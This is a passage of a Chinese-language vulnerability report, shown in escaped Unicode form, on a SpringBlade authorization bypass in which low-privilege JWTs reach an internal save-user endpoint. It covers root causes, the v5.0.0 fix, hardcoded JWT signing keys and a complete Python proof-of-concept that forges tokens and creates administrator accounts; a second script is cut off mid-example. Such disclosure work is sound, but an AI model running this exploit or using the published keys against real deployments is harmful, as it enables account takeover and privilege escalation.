JWT\uff08`AuthFilter`\uff09\n\n\u6587\u4ef6\uff1a`blade-gateway/src/main/java/org/springblade/gateway/filter/AuthFilter.java`\uff08**v3.1.0 / v4.10.0 \u76f8\u540c**\uff09\n\n```java\nString headerToken = exchange.getRequest().getHeaders().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:67]\nString paramToken  = exchange.getRequest().getQueryParams().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:68]\n...\nClaims claims = JwtUtil.parseJWT(token);      // [v4.10.0:78] \u4ec5\u89e3\u6790 JWT\nif (claims == null) {\n    return unAuth(resp, \"\u8bf7\u6c42\u672a\u6388\u6743\");          // [v4.10.0:79] \u53ea\u8981\u89e3\u6790\u6210\u529f\u5373\u653e\u884c\n}\nreturn chain.filter(exchange);\n```\n\n\u2192 **\u53ea\u6821\u9a8c\"Token \u80fd\u5426\u89e3\u6790\"**\uff0c\u4e0d\u505a\u89d2\u8272 / \u5185\u90e8\u63a5\u53e3 / \u670d\u52a1\u8eab\u4efd\u6821\u9a8c\uff0c\u4e5f\u4e0d\u6821\u9a8c `tenant_id`\u3001`role_id`\u3001`role_name` \u7b49 `claims` \u5b57\u6bb5\u4e0e\u5b9e\u9645\u6570\u636e\u5e93\u8bb0\u5f55\u7684\u5339\u914d\u5173\u7cfb\uff08\u4ec5\u7b7e\u540d\u68c0\u67e5\uff0c\u4e0d\u505a\u8bed\u4e49\u6821\u9a8c\uff09\u3002\n\n### 6.3 \u4e0b\u6e38\uff1aFeign \u5b9e\u73b0\u628a\u5185\u90e8\u5199\u63a5\u53e3\u66b4\u9732\u4e3a\u65e0\u4fdd\u62a4\u7684 HTTP\uff08`UserClient`\uff09\n\n\u6587\u4ef6\uff08\u6309\u7248\u672c\uff09\uff1a\n- `blade-service/blade-user/src/main/java/.../system/user/feign/UserClient.java`\uff082.7.3 ~ 4.1.0\uff0c\u542b v3.1.0\uff09\n- `blade-service/blade-system/src/main/java/.../system/feign/UserClient.java`\uff08v4.2.0 ~ v4.10.0\uff0c`blade-user` \u6a21\u5757\u4e8e v4.2.0 \u5e76\u5165 `blade-system`\uff09\n\n```java\n@Hidden                          // SpringDoc/Swagger \u6ce8\u89e3\uff1a\u4ec5\u9690\u85cf API \u6587\u6863\uff0c\u4e0d\u5f71\u54cd Spring MVC \u8def\u7531\u6ce8\u518c\n@RestController                  // [v4.10.0:36] / [v3.1.0:33] \u540c\u65f6\u662f REST Controller\uff08\u5916\u90e8\u53ef\u8fbe\uff09\n@AllArgsConstructor\npublic class UserClient implements IUserClient {\n\n    private IUserService service;\n\n    @Override\n    @PostMapping(API_PREFIX + \"/user/save-user\")           // [v4.10.0:60] / [v3.1.0:57]\n    public R saveUser(User user) {\n        return R.data(service.save(user));                 // [v4.10.0:61-62 / v3.1.0:59] \u76f4\u63a5\u6301\u4e45\u5316\uff0c\u65e0 @PreAuth\n    }\n}\n```\n\n&amp;gt; **\u5173\u952e\uff1a\u4e0d\u6b63\u786e\u7684 `@Hidden` \u4f7f\u7528**\u3002`@Hidden` \u662f springdoc-openapi \u6ce8\u89e3\uff0c\u4f5c\u7528\u53ea\u662f\u628a\u8be5 Controller \u4ece Swagger/OpenAPI \u6587\u6863\u4e2d\u9690\u85cf\u2014\u2014**\u5b83\u5e76\u6ca1\u6709\u963b\u6b62 Spring MVC \u628a `UserClient` \u6ce8\u518c\u6210 HTTP \u8def\u7531**\u3002\u53ef\u89c1\u4ee3\u7801\u4f5c\u8005\u610f\u56fe\u662f\"\u5185\u90e8 Feign \u5b9e\u73b0\"\uff0c\u4f46 **`@RestController` \u4f7f\u5176\u5bf9**\u5916\u90e8 HTTP \u53ef\u8fbe\u3001\u4e14\u5168\u90e8\u8def\u7531\u7ee7\u627f\u81ea `IUserClient`\uff08\u5bf9\u5916\u63a5\u53e3\uff09\u3002\u8fd9\u662f\u5178\u578b\u7684\"\u5b9e\u73b0\u4e0e\u610f\u56fe\u4e0d\u4e00\u81f4\"\u5bfc\u81f4\u7684\u6f0f\u6d1e\u3002\n\n\u5bf9\u5e94 Feign \u63a5\u53e3\uff08\u540c\u7248\u672c\uff09\uff1a`blade-service-api/blade-user-api/.../feign/IUserClient.java`\n```java\nString API_PREFIX = \"/user\";                              // [v4.10.0:41] / [v3.1.0:41]\n@PostMapping(API_PREFIX + \"/save-user\")                   // [v4.10.0:78]\nR saveUser(@RequestBody User user);              // [v4.10.0:79] \u66b4\u9732\u4e3a\u5916\u90e8 HTTP \u5165\u53e3\n```\n\n### 6.4 \u5404\u7248\u672c JWT \u7b7e\u540d\u5bc6\u94a5\u60c5\u51b5\uff08\u5f71\u54cd\u5229\u7528\u95e8\u69db\uff09\n\n- **2.7.3**\uff1a`TokenConstant.SIGN_KEY` \u786c\u7f16\u7801\u4e3a `\"Blade\"`\uff08`blade-core-launch-2.7.3.jar`\uff0c\u5df2\u53cd\u7f16\u8bd1\u6838\u5b9e\uff09\u3002\n- **2.8.0 ~ v3.5.0**\uff1a`TokenConstant.SIGN_KEY` \u786c\u7f16\u7801\u4e3a\u4e0b\u8ff0\u957f\u4e32\uff0c\u7f51\u5173 `JwtUtil.parseJWT` \u76f4\u63a5\u5f15\u7528\u8be5\u5e38\u91cf\u3001**\u4e0d\u968f\u4efb\u4f55\u914d\u7f6e\u53d8\u5316**\uff08v3.1.0 \u7f51\u5173 `JwtUtil.java:32/36/64` \u5df2\u6838\u5b9e\uff09\uff1a\n\n```java\nSIGN_KEY = \"bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject\";\nBASE64_SECURITY = Base64.encode(SIGN_KEY.getBytes(UTF_8));   // \u7528\u4f5c HMAC-SHA256 \u7684 key\n```\n\n- **v3.6.0 ~ v4.10.0**\uff1a\u6539\u4e3a\u4ece\u914d\u7f6e\u9879 `blade.token.sign-key` \u8bfb\u53d6\uff08\u7f51\u5173 `JwtProperties`\uff0c`getSignKey()` \u5f3a\u5236\u957f\u5ea6 \u226532\uff0c\u5426\u5219\u542f\u52a8\u629b `JwtException(\"\u8bf7\u914d\u7f6e blade.token.sign-key \u7684\u503c, \u957f\u5ea632\u4f4d\u4ee5\u4e0a\")`\uff09\u3002\n\n\u2192 \u5bf9 2.7.3 ~ v3.5.0\uff0c\u653b\u51fb\u8005\u76f4\u63a5\u4ece\u516c\u5f00 JAR \u63d0\u53d6\u5bc6\u94a5\u5373\u53ef\u4f2a\u9020\u4efb\u610f\u89d2\u8272 JWT\uff0c**\u65e0\u9700\u4efb\u4f55\u5408\u6cd5\u8d26\u53f7**\uff1b\u5bf9 v3.6.0 \u8d77\u7684\u7248\u672c\uff0c\u5219\u9700\u6301\u6709\u4efb\u610f\u4e00\u4e2a\u771f\u5b9e\u4f4e\u6743\u9650 JWT\uff08\u6216\u83b7\u77e5\u90e8\u7f72\u65b9\u81ea\u914d\u7684 sign-key\uff09\u3002\n\n---\n\n## 7. \u4fee\u590d\u60c5\u51b5\n\n\u8be5\u6f0f\u6d1e\u5df2\u5728 **`v5.0.0` \u6b63\u5f0f\u4fee\u590d**\uff0c\u4fee\u590d\u5bf9\u5e94\u7684**\u5355\u4e00\u63d0\u4ea4**\uff1a\n\n- **\u63d0\u4ea4 / tag**\uff1a`c69b9547c942c697da2f3ee6a9265b6004abd645`\uff08tag `v5.0.0`\uff09\n- **\u63d0\u4ea4\u4fe1\u606f**\uff1a`5.0.0.RELEASE \u91cd\u6784\u5347\u7ea7 SpringBoot4 SpringCloud2025 JDK21 TypeScript`\n- **\u65e5\u671f**\uff1a`2026-07-30`\n- \u8be5\u63d0\u4ea4\u540c\u65f6\u5b8c\u6210\u5982\u4e0b**\u4e09\u5904\u4fee\u590d**\uff08\u5bf9\u5e94\u672c\u6f0f\u6d1e\u4e09\u4e2a\u6839\u56e0\uff09\uff1a\n  1. **\u79fb\u9664 `UserClient.saveUser` \u5199\u63a5\u53e3**\uff08`UserClient.java` + `IUserClient.java` \u4e00\u5e76\u5220\u9664 `saveUser`\uff09\u2014\u2014\u5f7b\u5e95\u5220\u9664\u670d\u52a1\u9274\u6743\u7ed5\u8fc7\u843d\u5730\u5165\u53e3\uff1b\n  2. **Feign \u5185\u90e8\u63a5\u53e3\u8def\u5f84\u6536\u7d27**\uff1a`API_PREFIX` \u7531 `/user` \u6539\u4e3a `/feign/client/user`\uff08`IUserClient.java`\uff09\uff0c\u4e0e\u5916\u90e8\u4e1a\u52a1\u63a5\u53e3\u9694\u79bb\uff1b\n  3. **\u7f51\u5173\u65b0\u589e\u5185\u90e8\u63a5\u53e3\u62e6\u622a**\uff1a\u65b0\u589e `blade-gateway/.../filter/InnerFilter.java`\uff0c\u5bf9\u539f\u59cb\u8def\u5f84\u5f52\u4e00\u5316\u540e\u82e5\u547d\u4e2d\u4fdd\u7559\u6bb5 `feign/client`\uff0c\u4e00\u5f8b\u8fd4\u56de `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3`\uff08`{\"msg\":\"\u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3\",\"code\":403}`\uff09\uff0c\u4e0e\u4ee4\u724c\u662f\u5426\u6709\u6548\u65e0\u5173\u3002\n\n&amp;gt; \u7ed3\u8bba\uff1a**\u53d7\u5f71\u54cd\u7684\u7248\u672c\u9700\u5347\u7ea7\u81f3 v5.0.0 \u53ca\u4ee5\u4e0a**\uff1bv5.0.1 \u53ca\u6700\u65b0 master \u5747\u5df2\u5305\u542b\u8be5\u4fee\u590d\uff08\u5df2\u9759\u6001\u6838\u5b9e `saveUser` \u79fb\u9664\u3001`API_PREFIX` \u53d8\u66f4\u4e0e `InnerFilter` \u4e09\u8005\u5747\u5b58\u5728\uff09\u3002\n\n---\n\n## 8. \u590d\u73b0\u6b65\u9aa4\u4e0e\u9a8c\u8bc1\uff08\u5b8c\u6574 PoC\uff09\n\n### 8.1 \u9a8c\u8bc1\u6458\u8981\n\n| \u4f4e\u6743\u9650 JWT \u6253\u5185\u90e8\u5199\u63a5\u53e3 | 2.7.3 | v3.0.0 | v3.1.0 | v4.10.0 | v5.0.x |\n|---|---|---|---|---|---|\n| \u65e0 token | `401`\uff08\u5b9e\u6d4b\uff09 | `401`\uff08\u5b9e\u6d4b\uff09 | `401`\uff08\u5b9e\u6d4b\uff09 | `401`\uff08\u5b9e\u6d4b\uff09 | `401` |\n| **\u4f4e\u6743\u9650 JWT \u6253 `/save-user`** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | `404` \u63a5\u53e3\u4e0d\u5b58\u5728\uff08\u9759\u6001\u6838\u5b9e\uff09 |\n| \u6570\u636e\u5e93\u843d\u5e93\uff08\u660e\u6587\u5bc6\u7801 + administrator \u89d2\u8272\uff09 | \u2705 | \u2705 | \u2705 | \u2705 | \u274c \u65e0\u5199\u5165 |\n| \u4f2a\u9020 JWT \u6240\u7528\u5bc6\u94a5 | `\"Blade\"`\uff08\u786c\u7f16\u7801\uff09 | \u957f\u4e32\u786c\u7f16\u7801\uff08\u00a76.4\uff09 | \u957f\u4e32\u786c\u7f16\u7801\uff08\u00a76.4\uff09 | \u81ea\u914d sign-key | \u2014 |\n| \u5bf9\u7167\u7ec4 `/user/submit`\uff08\u9700\u7ba1\u7406\u5458\uff09 | \u2014 | \u2014 | \u2014 | `401` \u88ab\u62d2\uff08\u5b9e\u6d4b\uff09 | \u2014 |\n| \u5185\u90e8 `/feign/...` \u8bbf\u95ee | \u53ef\u8fbe | \u53ef\u8fbe | \u53ef\u8fbe | \u53ef\u8fbe | `403` \u62e6\u622a\uff08\u9759\u6001\u6838\u5b9e\uff09 |\n\n&amp;gt; \u6ce8\uff1av3.0.0 \u7f51\u5173**\u6ca1\u6709** `RequestFilter`\uff0c\u4ecd\u590d\u73b0\u6210\u529f\u2014\u2014\u8bc1\u660e discovery locator \u9ed8\u8ba4 `RewritePath` \u8fc7\u6ee4\u5668\u5373\u53ef\u5b8c\u6210\u8def\u5f84\u5265\u79bb\uff08\u89c1 \u00a72.1\uff09\u3002\n\n### 8.2 Python PoC\uff08\u811a\u672c\u4e00\uff09\uff1a\u7f51\u5173\u76f4\u8fbe\u5185\u90e8\u63a5\u53e3 + \u5bf9\u7167\u7ec4 + \u6570\u636e\u5e93\u843d\u5e93\u9a8c\u8bc1\n\n\u4ee5\u4e0b PoC \u4f7f\u7528 Python \u6807\u51c6\u5e93\uff0c\u76f4\u63a5\u5411\u8fd0\u884c\u4e2d\u7684\u53d7\u5bb3\u7f51\u5173\u53d1\u9001\u771f\u5b9e HTTP \u8bf7\u6c42\u3002\u811a\u672c\u4f9d\u6b21\u6267\u884c\u4e09\u7ec4\u9a8c\u8bc1\u3002\u811a\u672c**\u4e0d\u4f9d\u8d56\u4efb\u4f55\u7b2c\u4e09\u65b9\u5305**\u2014\u2014JWT \u7528\u6807\u51c6\u5e93 HMAC-SHA256 \u6784\u9020\uff08\u4f2a\u9020\u4f4e\u6743\u9650 user \u89d2\u8272\u4ee4\u724c\uff09\uff0cHTTP \u7528 `urllib`\uff0c\u6570\u636e\u5e93\u9a8c\u8bc1\u901a\u8fc7 `docker exec mysql`\u3002\u811a\u672c**\u9ed8\u8ba4\u8d26\u53f7 `poc_report_`\u3001\u9ed8\u8ba4\u5bc6\u7801 `poc-report-plain`**\uff0c\u5747\u4e3a\u5b89\u5168 ASCII\uff08`SAFE_ACCOUNT` \u6b63\u5219\u5f3a\u6821\u9a8c\uff0cSQL \u6ce8\u5165\u98ce\u9669\u4e3a\u96f6\uff09\u3002\n\n1. **\u65e0 token \u5bf9\u7167**\uff1a`POST &amp;lt;\u524d\u7f00&amp;gt;/user/save-user`\uff08\u671f\u671b `401`\uff0c\u8bc1\u660e\u7f51\u5173\u9274\u6743\u751f\u6548\uff09\uff1b\n2. **\u5229\u7528\u8bf7\u6c42**\uff1a\u643a\u5e26**\u4f2a\u9020\u7684\u4f4e\u6743\u9650\uff08user \u89d2\u8272\uff09JWT** \u6253\u540c\u4e00\u5185\u90e8\u5199\u63a5\u53e3\uff08\u671f\u671b `200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff09\uff1b\n3. **\u7ba1\u63a7\u9762\u5bf9\u7167**\uff08`POC_CHECK_SUBMIT_CONTROL=1` \u65f6\uff09\uff1a\u540c\u4e00 JWT \u6253 `UserController.submit`\uff08`@PreAuth(HAS_ROLE_ADMIN)`\uff09\uff0c\u671f\u671b\u88ab\u62d2\uff0c\u8bc1\u660e\u8d8a\u6743\u662f\u7ed5\u8fc7\u4e86\u7ba1\u63a7\u9762\u6821\u9a8c\uff1b\n4. **\u6570\u636e\u5e93\u843d\u5e93\u9a8c\u8bc1**\uff1a\u901a\u8fc7 `docker exec` \u67e5\u8be2 MySQL `blade.blade_user`\uff0c\u6838\u5bf9\u8d26\u53f7\u4e0e**\u660e\u6587\u5bc6\u7801**\u843d\u5e93\u3002\n\n\u6240\u6709\u53c2\u6570\u5747\u53ef\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u8986\u76d6\u3002`&amp;lt;\u524d\u7f00&amp;gt;` \u968f\u7248\u672c\u53d8\u5316\uff1a2.7.3 ~ 4.1.0 \u4e3a `/blade-user`\uff0cv4.2.0 \u8d77\u4e3a `/blade-system`\uff08\u89c1 \u00a72.2\uff09\u3002\u811a\u672c\u4e00\u73af\u5883\u53d8\u91cf\u5b8c\u6574\u5217\u8868\uff1a\n\n| \u7c7b\u522b | \u53d8\u91cf | \u9ed8\u8ba4\u503c | \u8bf4\u660e |\n|---|---|---|---|\n| \u76ee\u6807 | `POC_GATEWAY_URL` | `http://127.0.0.1:18080` | \u53d7\u5bb3\u7f51\u5173\u5730\u5740 |\n| \u76ee\u6807 | `POC_PATH_PREFIX` | `/blade-system` | \u7248\u672c\u5bf9\u5e94\u7684\u8def\u7531\u524d\u7f00 |\n| \u5bc6\u94a5 | `POC_SIGN_KEY` | \uff08\u5fc5\u586b\uff09 | JWT \u4f2a\u9020\u5bc6\u94a5\uff08\u00a76.4\uff09 |\n| \u6570\u636e | `POC_ACCOUNT` / `POC_PASSWORD` / `POC_TENANT_ID` / `POC_ROLE_ID` / `POC_DEPT_ID` / `POC_POST_ID` | `poc_report_` / `poc-report-plain` / `000000` / `1123598816738675201` / `1123598813738675201` / `1123598817738675201` | \u843d\u5e93\u7528\u6237\u5b57\u6bb5 |\n| JWT claims | `POC_TOKEN_*` | \u89c1\u811a\u672c payload | \u4f2a\u9020\u7684\u4f4e\u6743\u9650 JWT \u5185\u90e8\u5b57\u6bb5 |\n| \u5bf9\u7167 | `POC_CHECK_SUBMIT_CONTROL` | `1` | \u662f\u5426\u8c03\u7528 `UserController.submit` \u505a\u62d2\u7edd\u5bf9\u7167 |\n| \u6570\u636e\u5e93 | `POC_SKIP_DB_CHECK` / `POC_MYSQL_CONTAINER` / `POC_MYSQL_USER` / `POC_MYSQL_PASSWORD` / `POC_MYSQL_DB` | `0` / `sb-mysql` / `root` / `root` / `blade` | \u8df3\u8fc7 DB \u9a8c\u8bc1 / docker exec \u8fde\u63a5 |\n| \u5176\u4ed6 | `POC_HTTP_TIMEOUT` | `20` | HTTP \u8d85\u65f6\uff08\u79d2\uff09 |\n\n```bash\n# v4.x \u73af\u5883\uff08\u7f51\u5173 18080\uff0c\u9700\u81ea\u914d \u226532 \u4f4d sign-key\uff0c\u524d\u7f00 /blade-system\uff09\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY='springblade-vuln-sign-key-20260528-32chars' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n\n# v3.x / 2.7.3 \u73af\u5883\uff08\u786c\u7f16\u7801\u5bc6\u94a5\uff0c\u524d\u7f00 /blade-user\uff0c\u89c1 \u00a76.4\uff09\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-user \\\nPOC_SIGN_KEY='bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n#  2.7.3 \u6539\u7528 POC_SIGN_KEY='Blade'\n```\n\n`poc/src/springblade_service_auth_bypass_poc.py`\uff08\u5b8c\u6574\u811a\u672c\uff09\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for SpringBlade gateway-to-Feign service authorization bypass.\n\nThe script targets a running vulnerable SpringBlade deployment. It does not\nreimplement application logic; it sends the same external HTTP request that is\nrouted by the real gateway to the real user service (blade-user for\n2.7.3~4.1.0, blade-system for v4.2.0+).\n\"\"\"\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nDEFAULT_GATEWAY_URL = \"http://127.0.0.1:18080\"\n# v4.x: /blade-system  |  2.7.3 ~ 4.1.0: /blade-user\nDEFAULT_PATH_PREFIX = \"/blade-system\"\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\n\n\ndef env(name: str, default: str) -&amp;gt; str:\n    return os.environ.get(name, default)\n\n\ndef b64url(raw: bytes) -&amp;gt; str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef make_jwt(sign_key: str) -&amp;gt; str:\n    header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n    payload = {\n        \"token_type\": \"access_token\",\n        \"tenant_id\": env(\"POC_TOKEN_TENANT_ID\", \"000000\"),\n        \"user_id\": env(\"POC_TOKEN_USER_ID\", \"1123598821738675201\"),\n        \"role_id\": env(\"POC_TOKEN_ROLE_ID\", \"1123598816738675202\"),\n        \"dept_id\": env(\"POC_TOKEN_DEPT_ID\", \"1123598813738675201\"),\n        \"account\": env(\"POC_TOKEN_ACCOUNT\", \"lowuser\"),\n        \"user_name\": env(\"POC_TOKEN_USER_NAME\", \"lowuser\"),\n        \"role_name\": env(\"POC_TOKEN_ROLE_NAME\", \"user\"),\n        \"aud\": env(\"POC_TOKEN_AUD\", \"audience\"),\n        \"iss\": env(\"POC_TOKEN_ISS\", \"issuser\"),\n        \"exp\": int(time.time()) + int(env(\"POC_TOKEN_TTL_SECONDS\", \"3600\")),\n    }\n    signing = (\n        f\"{b64url(json.dumps(header, separators=(',', ':')).encode())}.\"\n        f\"{b64url(json.dumps(payload, separators=(',', ':')).encode())}\"\n    ).encode(\"ascii\")\n    signature = hmac.new(sign_key.encode(\"utf-8\"), signing, hashlib.sha256).digest()\n    return signing.decode(\"ascii\") + \".\" + b64url(signature)\n\n\ndef http_post_json(url: str, body: dict[str, str], token: str | None = None) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body).encode(\"utf-8\")\n    headers = {\"Content-Type\": \"application/json\"}\n    if token:\n        headers[\"Blade-Auth\"] = f\"bearer {token}\"\n    request = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(request, timeout=float(env(\"POC_HTTP_TIMEOUT\", \"20\"))) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef mysql_query(sql: str) -&amp;gt; str:\n    container = env(\"POC_MYSQL_CONTAINER\", \"sb-mysql\")\n    user = env(\"POC_MYSQL_USER\", \"root\")\n    password = env(\"POC_MYSQL_PASSWORD\", \"root\")\n    cmd = [\n        \"docker\",\n        \"exec\",\n        container,\n        \"mysql\",\n        f\"-u{user}\",\n        f\"-p{password}\",\n        \"-N\",\n        \"-B\",\n        \"-e\",\n        sql,\n    ]\n    completed = subprocess.run(cmd, check=False, text=True, capture_output=True)\n    if completed.returncode != 0:\n        raise RuntimeError(completed.stderr.strip() or completed.stdout.strip())\n    return completed.stdout.strip()\n\n\ndef require_safe_account(account: str) -&amp;gt; None:\n    if not SAFE_ACCOUNT.match(account):\n        raise ValueError(f\"Unsafe account value for SQL verification: {account!r}\")\n\n\ndef main() -&amp;gt; int:\n    gateway_url = env(\"POC_GATEWAY_URL\", DEFAULT_GATEWAY_URL).rstrip(\"/\")\n    path_prefix = env(\"POC_PATH_PREFIX\", DEFAULT_PATH_PREFIX)\n    sign_key = env(\"POC_SIGN_KEY\", \"\")\n    account = env(\"POC_ACCOUNT\", f\"poc_report_{int(time.time())}\")\n    password = env(\"POC_PASSWORD\", \"poc-report-plain\")\n    tenant_id = env(\"POC_TENANT_ID\", \"000000\")\n    role_id = env(\"POC_ROLE_ID\", \"1123598816738675201\")\n    dept_id = env(\"POC_DEPT_ID\", \"1123598813738675201\")\n    post_id = env(\"POC_POST_ID\", \"1123598817738675201\")\n    db_name = env(\"POC_MYSQL_DB\", \"blade\")\n\n    if not sign_key:\n        print(\"[!] POC_SIGN_KEY is required\", file=sys.stderr)\n        return 2\n\n    require_safe_account(account)\n    token = make_jwt(sign_key)\n    save_user_url = f\"{gateway_url}{path_prefix}/user/save-user\"\n    submit_url = f\"{gateway_url}{path_prefix}/user/submit\"\n    body = {\n        \"tenantId\": tenant_id,\n        \"account\": account,\n        \"password\": password,\n        \"name\": \"poc\",\n        \"realName\": \"poc\",\n        \"roleId\": role_id,\n        \"deptId\": dept_id,\n        \"postId\": post_id,\n    }\n\n    print(f\"[*] Gateway URL: {gateway_url}\")\n    print(f\"[*] Target: {save_user_url}\")\n    print(f\"[*] PoC account: {account}\")\n\n    no_token_status, no_token_body = http_post_json(save_user_url, body)\n    print(f\"[*] No-token control status: {no_token_status}\")\n    print(f\"[*] No-token control body: {no_token_body}\")\n\n    exploit_status, exploit_body = http_post_json(save_user_url, body, token)\n    print(f\"[*] Exploit status: {exploit_status}\")\n    print(f\"[*] Exploit body: {exploit_body}\")\n    if exploit_status != 200:\n        print(\"[!] Exploit request did not return HTTP 200\", file=sys.stderr)\n        return 1\n\n    if env(\"POC_CHECK_SUBMIT_CONTROL\", \"1\") == \"1\":\n        submit_account = f\"{account}_submit\"\n        submit_body = dict(body)\n        submit_body[\"account\"] = submit_account\n        submit_status, submit_response = http_post_json(submit_url, submit_body, token)\n        print(f\"[*] Admin submit control status: {submit_status}\")\n        print(f\"[*] Admin submit control body: {submit_response}\")\n\n    if env(\"POC_SKIP_DB_CHECK\", \"0\") == \"1\":\n        print(\"[*] Database verification skipped by POC_SKIP_DB_CHECK=1\")\n        return 0\n\n    sql = (\n        \"SELECT id,tenant_id,account,password,role_id,dept_id,post_id,status,is_deleted \"\n        f\"FROM {db_name}.blade_user WHERE account='{account}'\"\n    )\n    row = mysql_query(sql)\n    print(\"[*] Database row:\")\n    print(row)\n    if not row:\n        print(\"[!] Database row was not created\", file=sys.stderr)\n        return 1\n    fields = row.split(\"\\t\")\n    if len(fields) &amp;lt; 9 or fields[2] != account or fields[3] != password:\n        print(\"[!] Database row does not match the expected account/password\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Vulnerability reproduced: low-privilege JWT reached /user/save-user and created a user.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### 8.3 Python PoC\uff08\u811a\u672c\u4e8c\uff09\uff1a\u7ecf\u524d\u7aef `/api` \u4ee3\u7406\u521b\u5efa**\u53ef\u767b\u5f55**\u7684\u7ba1\u7406\u5458\n\n\u811a\u672c\u4e00\u843d\u5730\u7684\u662f**\u660e\u6587\u5bc6\u7801**\uff08\u56e0\u4e3a `saveUser` \u8df3\u8fc7\u4e86 `DigestUtil.encrypt`\uff09\uff0c\u843d\u5e93\u540e\u5373\u6210\u4e3a\u300c\u5bc6\u7801\u4e0d\u53ef\u7528\u4e8e\u6b63\u5e38\u767b\u5f55\u300d\u7684\u540e\u95e8\u8d26\u53f7\u3002\u811a\u672c\u4e8c\u9762\u5411**\u771f\u5b9e\u90e8\u7f72\u5f62\u6001**\uff08\u524d\u7aef\u7ecf `/api` \u4ee3\u7406\u8f6c\u53d1\u5230\u7f51\u5173\uff09\uff0c\u590d\u73b0\u540c\u4e00\u6f0f\u6d1e\uff0c\u4f46\u505a\u4e86\u4e24\u70b9\u6539\u8fdb\uff0c\u5b8c\u5584\u4e86\"\u53ef\u6267\u884c\u7684\u63d0\u6743\u95ed\u73af\"\uff1a\n\n1. **\u590d\u73b0\u5bc6\u7801\u52a0\u5bc6\u903b\u8f91**\uff1a\u672c\u5730\u8ba1\u7b97 `DigestUtil.encrypt(plaintext)`\uff08`sha1(md5(plaintext))`\uff09\u540e\u5199\u5165 `password` \u5b57\u6bb5\u2014\u2014\u521b\u5efa\u51fa\u7684\u7ba1\u7406\u5458\u8d26\u53f7\u53ef\u4ee5**\u76f4\u63a5\u767b\u5f55\u7cfb\u7edf**\uff0c\u5f62\u6210\u5b8c\u6574\u53ef\u7528\u7684\u63d0\u6743\u95ed\u73af\uff1b\u8fd9\u662f\u6bd4\u811a\u672c\u4e00\u7684 DB \u843d\u5730\u9a8c\u8bc1\u66f4\u5f3a\u7684\u4e00\u6b65\u8bc1\u636e\uff1a\u5371\u5bb3\u4e0d\u4ec5\u662f\"\u521b\u5efa\u4e86\u4e00\u4e2a\u7ba1\u7406\u5458\u884c\u5217\u8bb0\u5f55\"\uff0c\u800c\u662f\"\u521b\u5efa\u4e86\u4e00\u4e2a\u53ef\u4ee5\u9a6c\u4e0a\u7528\u6765\u63a5\u7ba1\u7cfb\u7edf\u7684\u5de5\u4f5c\u8d26\u6237\"\u3002\n2. **\u51ed\u8bc1\u66f4\u8d34\u8fd1\u5b9e\u6218**\uff1a\u53ea\u9700 `Blade-Auth` \u5934\u4e2d\u643a\u5e26**\u4efb\u610f\u4e00\u4e2a\u5df2\u767b\u5f55\u4f4e\u6743\u9650\u7528\u6237\u7684\u771f\u5b9e JWT**\uff08\u4e5f\u53ef\u76f4\u63a5\u7c98\u8d34\u88f8 JWT\uff0c\u811a\u672c\u4f1a\u81ea\u52a8\u8865 `bearer ` \u524d\u7f00\uff09\uff0c\u65e0\u9700\u638c\u63e1\u7f51\u5173\u7b7e\u540d\u5bc6\u94a5\uff08\u5bf9 v3.6.0+ \u800c\u8a00\u53ef\u7528 true JWT\uff1b\u5bf9 2.7.3~v3.5.0 \u5219\u811a\u672c\u4e00\u7684\u786c\u7f16\u7801\u5bc6\u94a5\u4f2a\u9020\u4e5f\u9002\u7528\uff09\u3002\n\n```bash\n# --target \u4e3a\u524d\u7aef\u4ee3\u7406\u57fa\u5730\u5740\uff08\u5176 /api \u524d\u7f00\u4f1a\u88ab\u4ee3\u7406\u8f6c\u53d1\u5230\u7f51\u5173\uff09\npython3 create_admin_with_blade_auth.py \\\n  --target http://127.0.0.1:2888 \\\n  --blade-auth 'bearer eyJhbGciOi...\uff08\u4efb\u610f\u4f4e\u6743\u9650\u7528\u6237 token\uff09' \\\n  --account audit_admin_01\n\n# \u6210\u529f\u65f6 stdout \u4ec5\u8f93\u51fa\u4e24\u884c\uff08\u53ef\u76f4\u63a5\u7528\u4e8e\u767b\u5f55\u9a8c\u8bc1\uff09\uff1a\n#   account=audit_admin_01\n#   password=&amp;lt;\u968f\u673a\u751f\u6210\u7684\u660e\u6587\u53e3\u4ee4&amp;gt;\n\n# CLI 